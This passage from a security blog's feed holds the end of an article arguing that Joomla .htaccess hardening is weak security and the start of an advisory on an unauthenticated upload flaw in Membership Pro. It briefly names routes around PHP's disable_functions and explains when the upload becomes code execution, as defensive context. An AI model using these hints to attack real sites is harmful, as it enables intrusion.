&lt;p&gt;A &lt;code&gt;.htaccess&lt;/code&gt; bristling with rules is the chained garden gate and the padlock on the fridge. It looks impressive from the pavement and it changes almost nothing, because the way in was never the gate, and the prize was never the beer. The burglar walks up the drive that has to be there, past the gate, to the front door that has to open. Secure by design is the house: a core and extension stack that validates its own input, checks its own permissions, casts its own integers, and rejects unsafe uploads in its own code, so that it does not &lt;em&gt;matter&lt;/em&gt; how a request arrived or what it held.&lt;/p&gt;
&lt;p&gt;This is exactly why some properly secure architectures need direct access and are not weakened by it. When we built the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;mySites.guru API around OAuth2, PKCE and per-request access checks&lt;/a&gt;, the security lives in the design of the thing, in what every request is required to prove before anything happens, not in a wall of &lt;code&gt;.htaccess&lt;/code&gt; restrictions bolted on around the outside. And there is a nuance most hardening guides miss entirely: some Joomla exploits only became remote code execution on the newest Joomla, because &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;every earlier version blocked the unsafe upload in core by default&lt;/a&gt;. The thing that actually protected those older sites was secure-by-design core behaviour, an upload filter in Joomla’s own code, not a line in anyone’s &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Friction is the other reason lockdown fails in the real world, and it is worth saying because the Joomla community is about to walk into it. We learned this lesson the hard way with two-factor authentication and passkeys: pile on enough friction and frustrated users switch the protection off entirely, choosing convenience over a safety measure that keeps getting in their way. This is where the fridge lock finally gives itself away. Hunting for your keys and scanning your eyeball every time you want milk for your coffee is a cost you pay every single morning, and the burglar it defends against is hypothetical and has not turned up yet. No one keeps that up. The lock gets propped open, then taken off, and the person who removes it is not being careless, they are being rational about a tax they pay daily for a benefit they have never once observed. A &lt;code&gt;.htaccess&lt;/code&gt; so aggressive that it 403s your own staff, breaks a legitimate extension, or blocks a real customer search, gets loosened, commented out, or deleted the first time it causes a support ticket. Security that people turn off is a feature with a short half-life, not security.&lt;/p&gt;
&lt;h2&gt;Real security lives in the server layer, not the app’s folder tree&lt;/h2&gt;
&lt;p&gt;There is a deeper architectural point underneath everything above, and once you see it you cannot unsee it. A &lt;code&gt;.htaccess&lt;/code&gt; is a configuration file that lives &lt;em&gt;inside your application’s folder tree&lt;/em&gt;, in the same browsable directories as your images and your PHP. That is the wrong place for security to live, and the whole industry has spent the last decade moving configuration in the opposite direction: out of the app tree, into the server, the environment, and the platform.&lt;/p&gt;
&lt;p&gt;We already learned this lesson with plain configuration, long before anyone argued about security. The &lt;a href=&quot;https://12factor.net/config&quot;&gt;Twelve-Factor App&lt;/a&gt;, about as close as modern web development has to a shared rulebook, says config belongs in &lt;em&gt;the environment&lt;/em&gt;, injected by the server or the process, not in files that sit alongside your code. The reasoning is the same one: a file in the app tree can be read, checked in, copied, downloaded, or edited by the wrong person. A &lt;code&gt;.env&lt;/code&gt; file dropped into your document root is the textbook anti-pattern, a plain-text file full of database passwords sitting in the web-served tree, and the thing most often “protecting” it from being downloaded is a &lt;code&gt;.htaccess&lt;/code&gt; rule, one that can be absent, mis-ordered, or 500 the whole site on a bad line. You end up using one app-tree file to guard another, when the real answer is to keep the secrets out of the tree entirely.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: where config and controls actually belong&lt;/p&gt;&lt;p&gt;The Twelve-Factor App’s config rule is to store configuration in environment variables set by the deploy environment, not in files committed with the code, because files in the tree get read, served, or checked in by accident. In practice that means credentials live in Apache &lt;code&gt;SetEnv&lt;/code&gt;/&lt;code&gt;SetEnvIf&lt;/code&gt; at the vhost level, Nginx &lt;code&gt;fastcgi_param&lt;/code&gt;, a systemd &lt;code&gt;Environment=&lt;/code&gt; line, or a container’s env, none of which sit inside the web-served folder tree at all.&lt;/p&gt;&lt;p&gt;The containment controls that actually limit a breach live at that same layer and are equally out of a &lt;code&gt;.htaccess&lt;/code&gt;’s reach: per-account Unix users and per-site PHP-FPM pools, &lt;code&gt;open_basedir&lt;/code&gt;, CageFS jails, a read-only application filesystem, and firewall rules. You cannot express a single one of them as a directive in a file in your webroot, which is exactly why they hold: an attacker who reaches your folder tree still cannot rewrite the rules that are keeping them boxed in.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Set those same values at the server layer instead and they never touch the browsable tree. Now apply the identical principle to &lt;em&gt;security&lt;/em&gt;, because it is the identical principle. The controls that actually contain a Joomla compromise all live at the server layer, and none of them are things you can write in a file in your webroot: separate Unix users and separate PHP-FPM pools per site, &lt;code&gt;open_basedir&lt;/code&gt; and CageFS jails, a read-only application filesystem, network firewall rules, a real WAF at the edge. These are what stop a break-in on one site from reading every other site’s &lt;code&gt;configuration.php&lt;/code&gt;, what stop a web shell from spawning a system shell, what stop a leaked credential from reaching the database. Every one of them sits at the layer a &lt;code&gt;.htaccess&lt;/code&gt; cannot touch. The closer a control lives to the server and the further from your browsable folder tree, the harder it is to read, to tamper with, or to expose by accident, and the more it is actually worth.&lt;/p&gt;
&lt;p&gt;One server-layer setting is worth calling out as the exception here. &lt;code&gt;disable_functions&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt; looks like a real control and is really a blocklist, which means it inherits every weakness this article has already pinned on blocklists, only moved to the server. It does nothing until an attacker is already executing PHP on your box, at which point, by definition, you are already compromised. And once they are in, disabling &lt;code&gt;exec&lt;/code&gt; and &lt;code&gt;system&lt;/code&gt; just sends them to &lt;code&gt;proc_open&lt;/code&gt;, &lt;code&gt;popen&lt;/code&gt;, &lt;code&gt;pcntl_exec&lt;/code&gt;, an &lt;code&gt;LD_PRELOAD&lt;/code&gt; trick, or simply writing a file and letting something else run it. It is the fridge lock of the server layer: it inconveniences a burglar who is already standing in your kitchen, and only until he notices the jewellery is in the next room. Worth having as a last thin layer, never mistaken for the thing keeping him out.&lt;/p&gt;
&lt;p&gt;Now here is the uncomfortable part, and it is the reason &lt;code&gt;.htaccess&lt;/code&gt; hardening will not simply go away. Joomla is mass-market software, and most Joomla sites live on shared hosting where the owner has no access to the server layer whatsoever: no vhost config, no systemd, no firewall, no per-account isolation they control, often not even a real &lt;code&gt;php.ini&lt;/code&gt; of their own. For those users the &lt;code&gt;.htaccess&lt;/code&gt; is the &lt;em&gt;only&lt;/em&gt; lever they are given, the single scrap of server-adjacent configuration a shared-hosting customer is allowed to touch, not a bad choice among good ones. So the stubborn persistence of &lt;code&gt;.htaccess&lt;/code&gt; hardening is evidence that the hosting model has locked users out of the layer where security actually lives, and left them a per-directory file in the app tree as a consolation prize, not evidence that it is good security. That is a real trade-off, and it is why a “secure by default” &lt;code&gt;.htaccess&lt;/code&gt; is such a tempting idea for a project like Joomla: for a huge share of its users, that file is the only surface the project can reach at all.&lt;/p&gt;
&lt;p&gt;But recognising the trade-off is not the same as pretending the file is something it is not. If shared hosting is your reality, use the &lt;code&gt;.htaccess&lt;/code&gt; for what it is worth, and keep your expectations of it low. When you &lt;em&gt;can&lt;/em&gt; choose, choose the layer where security actually lives: hosting that gives you real per-site isolation, configuration kept in the environment rather than in files in the tree, and application code that defends itself so it stops mattering which folder an attacker reaches. A bigger, cleverer file in the folder tree is what you settle for when you have been locked out of the room where the real controls are, not the destination.&lt;/p&gt;
&lt;h2&gt;So should you delete your Joomla .htaccess?&lt;/h2&gt;
&lt;p&gt;No. This is not an argument to throw the file away, and I want to be completely clear about that, because “your &lt;code&gt;.htaccess&lt;/code&gt; is not security” is easy to misread as “your &lt;code&gt;.htaccess&lt;/code&gt; is worthless”. It is just not what you think it is.&lt;/p&gt;
&lt;p&gt;Keep your &lt;code&gt;.htaccess&lt;/code&gt;, and keep it doing the jobs it is good at.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What a .htaccess is good for&lt;/p&gt;&lt;p&gt;Forcing HTTPS and HSTS. Blocking direct browser access to sensitive files like configuration.php, .git and backup archives. Handling redirects and canonical URLs. Setting sensible security response headers. A sane hardening baseline from a tool like Admin Tools, as one thin layer of defence in depth. These are all worth doing. None of them is the same thing as stopping a vulnerability.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The distinction that matters is between using the &lt;code&gt;.htaccess&lt;/code&gt; for those narrow, real jobs, and mistaking it for the thing that stands between an attacker and a bug. It is a safety net for a specific, limited set of problems. It is not the perimeter, it is not a firewall, and it is never the thing that fixes the vulnerable code itself.&lt;/p&gt;
&lt;p&gt;If you want the order of priority that actually keeps Joomla sites standing, it looks like this, and notice where hardening the &lt;code&gt;.htaccess&lt;/code&gt; sits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run current, well-maintained code.&lt;/strong&gt; The overwhelming majority of real-world compromises exploit a known, already-patched bug in an outdated extension. Patching promptly is worth more than every rewrite rule you could ever write, combined. This is the single highest-value thing you can do.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prefer secure-by-design extensions&lt;/strong&gt; that validate their own input, cast their own integers, and check their own permissions, instead of trusting the server to catch what they let through. When you evaluate a plugin, this is what you are really evaluating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Watch for change.&lt;/strong&gt; When an attack does route through &lt;code&gt;index.php&lt;/code&gt;, and it will, the tell is a file appearing or changing that should not have. &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file-modification alerting&lt;/a&gt; catches the shell the moment it is written, and a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect-content scan&lt;/a&gt; surfaces the ones already sitting there from before you were watching.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then, and only then, harden the .htaccess&lt;/strong&gt; as a thin extra layer, with a clear-eyed understanding of exactly how little of your actual risk it addresses.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do all four and the &lt;code&gt;.htaccess&lt;/code&gt; is a useful part of a real defence. Do only the fourth, and you have a chained gate on an open house.&lt;/p&gt;
&lt;h2&gt;How mySites.guru watches regardless of your .htaccess&lt;/h2&gt;
&lt;p&gt;Because the real attacks come through approved endpoints, the defence that matters is knowing, immediately, when something on the other side of that door has changed, not another wall at a door the attacker was never going to try. That is a monitoring problem, not a rewrite-rule problem, and it is the problem mySites.guru is built to solve.&lt;/p&gt;
&lt;p&gt;mySites.guru indexes every extension on every connected site and cross-references their versions against vulnerability data twice a day, so you find out that a site is running a component with a known flaw before an attacker’s scanner does, with no &lt;code&gt;.htaccess&lt;/code&gt; rule required and nothing to hand-configure. It watches your files for modification and alerts you when one changes unexpectedly, which is how you catch a web shell that rode in through &lt;code&gt;index.php&lt;/code&gt; past every rewrite rule you own, in the minutes after it appears rather than the weeks after your traffic collapses. And when the worst does happen, the connector keeps reporting even if Joomla itself is flat on its back, because it was built from the start to be independent of the site it is monitoring.&lt;/p&gt;
&lt;p&gt;If you are not sure what state your sites are actually in, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on any Joomla site and see what it turns up. If you manage a portfolio of sites, mySites.guru lets you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;watch and update dozens or hundreds of Joomla sites&lt;/a&gt; from one place, spotting the vulnerable version across all of them and pushing the fix in one operation. And if one of them is already compromised, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walks you through cleaning it up properly, without destroying the evidence you will want later.&lt;/p&gt;
&lt;p&gt;Harden your &lt;code&gt;.htaccess&lt;/code&gt; if you like. Just do not go on holiday with the gate chained, a padlock on the fridge, and every window in the house wide open.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Htaccess_examples_(security)&quot;&gt;Joomla htaccess examples (security)&lt;/a&gt; - the official documentation, including the antispam and Easter-egg rules dissected above&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot;&gt;When (not) to use .htaccess files&lt;/a&gt; - Apache’s own guidance on the per-request performance cost of &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.nginx.org/blog/converting-apache-to-nginx-rewrite-rules&quot;&gt;Nginx does not support per-directory config files&lt;/a&gt; - Nginx’s own guide on migrating Apache &lt;code&gt;.htaccess&lt;/code&gt; rules into central configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/caddyserver/caddy/issues/4091&quot;&gt;Caddy will not support .htaccess (issue #4091)&lt;/a&gt; - the maintainers on why it is neither feasible nor in keeping with a modern server&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48076&quot;&gt;Joomla pull request #48076&lt;/a&gt; - the open proposal to whitelist allowed file types in the media directories&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/ini.core.php#ini.expose-php&quot;&gt;PHP expose_php directive&lt;/a&gt; - the one-line server-layer setting that replaced the Easter-egg rewrite rule&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://12factor.net/config&quot;&gt;The Twelve-Factor App: Config&lt;/a&gt; - why configuration belongs in the environment, not in files sitting inside the app’s folder tree&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/products/admin-tools&quot;&gt;Akeeba Admin Tools&lt;/a&gt; - the checkbox-driven &lt;code&gt;.htaccess&lt;/code&gt;, Nginx and web.config makers, the gold standard for doing hardening from inside Joomla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031.html&quot;&gt;CVE-2026-23898 on the Joomla Security Centre&lt;/a&gt; - the arbitrary file deletion flaw in com_joomlaupdate&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>htaccess</category><category>hardening</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/your-htaccess-wont-stop-a-joomla-hack.png" length="0" type="image/png"/></item><item><title>Membership Pro 4.6.2: A Quiet Fix for Anonymous File Uploads</title><link>https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/</link><guid isPermaLink="true">https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/</guid><description>Membership Pro 4.6.2 fixes the same anonymous upload flaw we reported in Events Booking. Now CVE-2026-62415, rated critical. What to do about it.</description><pubDate>Tue, 21 Jul 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot;&gt;Membership Pro&lt;/a&gt; is one of the most widely used membership and subscription components for Joomla. It runs paid memberships, recurring subscriptions and content restricted to members, which means the people signing up are handing over their details, and sometimes their money, to a form on your site. On 21 July 2026 its developer, JoomDonation, released &lt;strong&gt;Membership Pro 4.6.2&lt;/strong&gt; with what the customer email calls “security improvements for file upload handling.”&lt;/p&gt;
&lt;p&gt;Read that phrasing next to what we published the day before. We had just reported an unauthenticated file upload flaw in &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;, the event registration component from the &lt;strong&gt;same developer&lt;/strong&gt;, built on the &lt;strong&gt;same controller framework&lt;/strong&gt;, with the &lt;strong&gt;same File custom field upload feature&lt;/strong&gt;. Membership Pro 4.6.2 is that fix, applied to the sister product.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;What changed&lt;/p&gt;
    &lt;p&gt;Before 4.6.2, having Membership Pro installed meant an unauthenticated visitor could upload files to your web server, whether or not your site used the feature that upload belongs to.&lt;/p&gt;
    &lt;p&gt;The vendor&apos;s own release notes describe them as &quot;unauthenticated upload files&quot; and ship a tool to delete the ones already left behind.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you run Membership Pro on any Joomla site, update to &lt;strong&gt;4.6.2&lt;/strong&gt; now and run the cleanup tool it ships. Everything at or below 4.6.1 is affected.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A note on what we know. We found and reported the anonymous upload flaw in Events Booking, which has three CVEs. We have not pulled the Membership Pro source apart line by line the way we did Events Booking, and we do not need to. This account is built on JoomDonation&apos;s own release email for 4.6.2 and on our full audit of the identical flaw in its sibling component. Where we are inferring rather than confirming, we say so.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Membership Pro 4.6.2 fixes an unauthenticated file upload endpoint.&lt;/strong&gt; Subscribers upload files through it when a site uses File custom fields, and before 4.6.2 it was reachable by anonymous visitors even on sites that had never created a File field&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It is the same flaw, and the same fix, as &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;&lt;/strong&gt;, from the same developer and the same codebase, which we reported and which has three CVEs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;There is only one plausible reason 4.6.2 exists.&lt;/strong&gt; Having had the bug demonstrated in one product, JoomDonation closed it in the sister product built on the same framework, one day after emailing Events Booking customers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The release admits the exposure in its own words.&lt;/strong&gt; 4.6.2 “automatically disables the upload endpoint when your site does not use any File custom fields, reducing unnecessary exposure” and ships a cleanup tool to “remove any unauthenticated upload files that may have been left behind”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The vendor called it “not a critical security issue.” The Joomla CNA disagreed.&lt;/strong&gt; JoomDonation emailed customers that 4.6.2 was “a security improvement rather than a vulnerability,” with no advisory and no changelog entry of its own. It is now &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-62415/&quot;&gt;CVE-2026-62415&lt;/a&gt;&lt;/strong&gt;, rated &lt;strong&gt;9.1 critical&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;An anonymous upload path is not a footnote.&lt;/strong&gt; It is free, unattributable storage on your domain, and attackers go looking for exactly that&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 4.6.2, then run the cleanup tool.&lt;/strong&gt; The tool deletes upload files with no matching subscription record. There is a scheduled task version to keep doing it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Almost no one is on the fix.&lt;/strong&gt; Across the Membership Pro installs we can see on our customers’ sites, fewer than one in a hundred were on 4.6.2 when we looked, and the single most common version was 4.6.1, the exact release it replaced&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why does Membership Pro 4.6.2 exist?&lt;/h2&gt;
&lt;p&gt;There is only one plausible reason, and it is us. We did not report a flaw in Membership Pro. We reported one in Events Booking, and Membership Pro 4.6.2 is what happened next.&lt;/p&gt;
&lt;p&gt;The case is circumstantial but it is not thin. Events Booking and Membership Pro are both JoomDonation products. Both run on the same in-house controller framework, the one whose front-end dispatcher performs &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;no CSRF check and no permission check by default&lt;/a&gt; and leaves each method to guard itself. Both offer File custom fields, the feature that lets a form collect an uploaded file during sign-up. And both, before their respective fixes, exposed that upload to anonymous visitors on every install.&lt;/p&gt;
&lt;p&gt;When we disclosed the Events Booking upload, the developer re-reviewed that codebase and shipped a series of changes to the endpoint. The tell is the timing and the shape. JoomDonation emailed Events Booking customers on 20 July. Membership Pro 4.6.2 was released on 21 July with an upload fix described in almost the same language, down to the phrase “unauthenticated upload files” and a cleanup tool that does the same job as the &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;orphan file cleanup tool&lt;/a&gt; shipped for Events Booking. A developer does not audit and re-engineer a specific upload endpoint across two products in a week for no reason. The reason was the report on the first one.&lt;/p&gt;
&lt;p&gt;We think that is the correct thing to have done, and we will say so: finding a class of bug in one product and going to close it in your others is exactly the response you want from a vendor. Our objection is to how the release was announced, and to what the people who need to act were told about it.&lt;/p&gt;
&lt;h2&gt;What the release email admits&lt;/h2&gt;
&lt;p&gt;The customer email for 4.6.2 is the best evidence for what the flaw was, because it describes the fix while trying not to describe a vulnerability. Two sentences do the work.&lt;/p&gt;
&lt;p&gt;First: the upload endpoint “is now automatically disabled when your site does not use any File custom fields, reducing unnecessary exposure.” The word doing the lifting there is “now.” If disabling the endpoint on sites without File fields reduces exposure, then that exposure existed before, on every install that had Membership Pro present and had never touched the upload feature. That is the same defect the Joomla CNA recorded for Events Booking: an upload that was live by default, whether the site asked for it or not.&lt;/p&gt;
&lt;p&gt;Second: the email recommends running “the new cleanup tool included in Membership Pro 4.6.2 to remove any unauthenticated upload files that may have been left behind before the update.” The vendor’s own words are “unauthenticated upload files.” You do not ship a tool to delete a category of file unless that category exists and you expect to find it in the wild.&lt;/p&gt;
&lt;p&gt;Set against those two admissions is the framing wrapped around them. The email calls the change “security improvements” rather than a vulnerability, states in bold that it is “not a remote code execution vulnerability,” and closes that “while this is not considered a critical security issue, we recommend updating.” JoomDonation published no changelog entry for 4.6.2 on &lt;a href=&quot;https://joomdonation.com/forum/membership-pro-changelog.html&quot;&gt;its public changelog&lt;/a&gt; and no security advisory of its own. The Joomla project’s CNA did not agree it was nothing to worry about: it assigned &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-62415/&quot;&gt;CVE-2026-62415&lt;/a&gt;&lt;/strong&gt; for this exact flaw, rated &lt;strong&gt;9.1 critical&lt;/strong&gt;. The only account the vendor gave its own customers was an email telling them the opposite.&lt;/p&gt;
&lt;p&gt;That combination is the reason to worry. A fix for an anonymous write path into your web server, shipped with no vendor advisory and no changelog line, and a note telling customers it is not critical while the Joomla CNA files it as a 9.1 critical CVE, is the outcome least likely to get anybody to install it.&lt;/p&gt;
&lt;h2&gt;Why an anonymous file upload is such a problem&lt;/h2&gt;
&lt;p&gt;Code execution is the loudest thing an unauthenticated upload can buy an attacker, and treating it as the only thing that counts is how this kind of finding gets waved through. On a default configuration, this is not code execution, and we are not going to pretend it is. It is a stranger with write access to your file system, which is quite bad enough.&lt;/p&gt;
&lt;p&gt;Anonymous, unattributable file storage on somebody else’s infrastructure is a commodity, and people go looking for it. An open upload endpoint on a legitimate business domain is close to ideal for that: it costs nothing, it is not registered to anyone, the bandwidth is billed to a stranger, and the content inherits the reputation of a real site with a real TLS certificate that no filter has any reason to block.&lt;/p&gt;
&lt;p&gt;What ends up in those folders is not theoretical. Pirated media and warez, because someone else is paying for the disk and the transfer. Phishing kits and fake login pages, which work far better when the URL is a real company domain than when it is a throwaway host. Malware and droppers staged for a different campaign entirely, so the attack on somebody else runs through your server. And illegal imagery, including material involving children, parked somewhere the people trading it will not be traced.&lt;/p&gt;
&lt;p&gt;The part that matters for you is that all of it arrives with your name on it. You signed the hosting contract. The IP address, the domain and the billing details are yours. When the abuse report is written it is addressed to you, and hosts generally suspend first and investigate afterwards, which means the first thing you know about it may be a dead site and a support ticket. Beyond that sit domain and IP blocklisting, a payment processor taking an interest, and for the worst categories of content a set of legal obligations considerably more serious than a hosting suspension.&lt;/p&gt;
&lt;p&gt;We have watched this happen. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms flaw&lt;/a&gt; we disclosed this month did not come to us from a code audit. It came from a Hetzner abuse report sent to one of our customers, who brought us the raw access log. That is what an anonymous upload endpoint looks like from the owner’s side: a message from your host telling you your server has been doing something you knew nothing about.&lt;/p&gt;
&lt;p&gt;The quiet part is that you will probably not notice on your own. Nothing errors. No page breaks. Files accumulate in a directory no one has any reason to open, attached to no subscription, and the site carries on serving memberships exactly as it did before.&lt;/p&gt;
&lt;h2&gt;Is this remote code execution?&lt;/h2&gt;
&lt;p&gt;Not on a default configuration, and the vendor is right about that much. A file upload constrained to image and document types cannot drop a web shell, so “not a remote code execution vulnerability” is a fair description of the shipped defaults. We said the same thing throughout our Events Booking write-up.&lt;/p&gt;
&lt;p&gt;The problem is the absolute claim underneath it. The list of permitted file types is an administrator-editable setting. On a site whose owner has widened it to accept an executable type, which is unusual but not unheard of where a form needs to accept unusual attachments, an anonymous upload becomes straightforward unauthenticated remote code execution. “Attackers could not upload executable files” is true of the defaults, not of every install, and a message sent to every customer is making a promise about every install.&lt;/p&gt;
&lt;p&gt;This is the same shape as the file upload flaws we found in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;, which were clean unauthenticated RCE, and it sits one configuration change away from joining them. How serious it is for you depends on your allowed file types and on how long your site ran an affected version with a public sign-up form. A new membership site no one has found yet is probably fine. A site that has been in Google for years has been reachable by every scanner on the internet for as long as this code has existed.&lt;/p&gt;
&lt;h2&gt;What Membership Pro 4.6.2 actually changes&lt;/h2&gt;
&lt;p&gt;From the vendor’s own description, 4.6.2 does three things to the upload path, and each maps onto a specific weakness in the versions before it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The endpoint is disabled when no File custom fields exist.&lt;/strong&gt; This is the headline fix. The upload is no longer live on installs that were not using it, which is the “unnecessary exposure” the email refers to. If your site has no File fields, 4.6.2 takes the endpoint off the board entirely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validation and abuse protection are added when File fields are in use.&lt;/strong&gt; Sites that do collect uploads keep the feature, now with additional checks on what gets accepted. The email does not enumerate them, and without a changelog we are not going to guess at the specifics, but this mirrors the rate limiting, per-field permission checks and content validation JoomDonation added to Events Booking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A cleanup tool removes files already left behind.&lt;/strong&gt; The new tool deletes upload files with no matching subscription record, and a scheduled task can run it on a timer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is no version below 4.6.2 that is safe here. The fix is the update, and unlike a SQL injection there is no malicious payload for a web application firewall to recognise. The attack is an ordinary, well-formed upload request that the site is designed to answer. The only thing wrong with it is who sent it, and your firewall has no way to know that. Updating is the whole of the defence.&lt;/p&gt;
&lt;h2&gt;Run the cleanup tool after you update&lt;/h2&gt;
&lt;p&gt;Updating closes the door. It does not empty the room behind it.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Do this after you update&lt;/p&gt;
    &lt;p&gt;Membership Pro 4.6.2 ships a tool that finds and deletes every file in the upload folder with no matching subscription record.&lt;/p&gt;
    &lt;p&gt;Run it even if you are certain you were never a target. It is the only way to see what that endpoint accepted while it was open, and there is a scheduled task version so it keeps checking.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The vendor documents both the &lt;a href=&quot;https://docs.joomdonation.com/membershippro/tools#delete-orphan-files&quot;&gt;cleanup tool&lt;/a&gt; and the &lt;a href=&quot;https://docs.joomdonation.com/membershippro/scheduled-tasks/delete-orphan-files&quot;&gt;scheduled task&lt;/a&gt;, the latter with a retention window that defaults to 72 hours. The documentation defines an orphan file as one “upload by users but not associated to any subscription records”, which is the vendor describing, in a help page written before any of this, a file that arrived on your server from somebody who never completed a subscription. If the tool finds nothing, that is good news you can only get by looking. If it finds files you do not recognise attached to no subscription, treat the site as having hosted content you did not put there, and work through our guide to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors in Joomla&lt;/a&gt; before you assume it was harmless.&lt;/p&gt;
&lt;h2&gt;Almost no one is on the fixed version&lt;/h2&gt;
&lt;p&gt;Here is the part of this story that worries us more than the flaw does, and it has nothing to do with how clever the bug is.&lt;/p&gt;
&lt;p&gt;We can see Membership Pro installed on just over &lt;strong&gt;440 Joomla sites&lt;/strong&gt; across our customers’ accounts. When we checked which versions those sites were running the day 4.6.2 shipped, we did not find a well-updated majority with a few stragglers behind it. We found this:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Version line&lt;/th&gt;&lt;th&gt;Share of installs&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;4.6.2 (the fix)&lt;/td&gt;&lt;td&gt;under 1%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4.6.0 or 4.6.1 (one or two releases behind)&lt;/td&gt;&lt;td&gt;~44%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4.x below 4.6&lt;/td&gt;&lt;td&gt;~32%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3.x or older&lt;/td&gt;&lt;td&gt;~23%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Read the top two rows together. Fewer than one install in a hundred had taken the fix, and the single most common version across every site was &lt;strong&gt;4.6.1, the exact release 4.6.2 replaces&lt;/strong&gt;. Nearly a quarter of installs were an entire major version or more behind, some of them still on 2.x and 1.6 builds that are years old.&lt;/p&gt;
&lt;p&gt;This is the uncomfortable truth behind every quiet security release. A fix now exists that will reach approximately no one, because the sites running this extension were already far behind before the update shipped, and this one arrived with nothing but an email telling customers it was not critical. If you manage Joomla sites and have not looked at your extension versions recently, that table is probably a description of your own portfolio. I have never met an administrator who decided 4.4.1 was good enough. What I have met is a lot of people for whom updating an extension means logging into each site’s admin one at a time, a job that grows with every client, so it waits until something breaks.&lt;/p&gt;
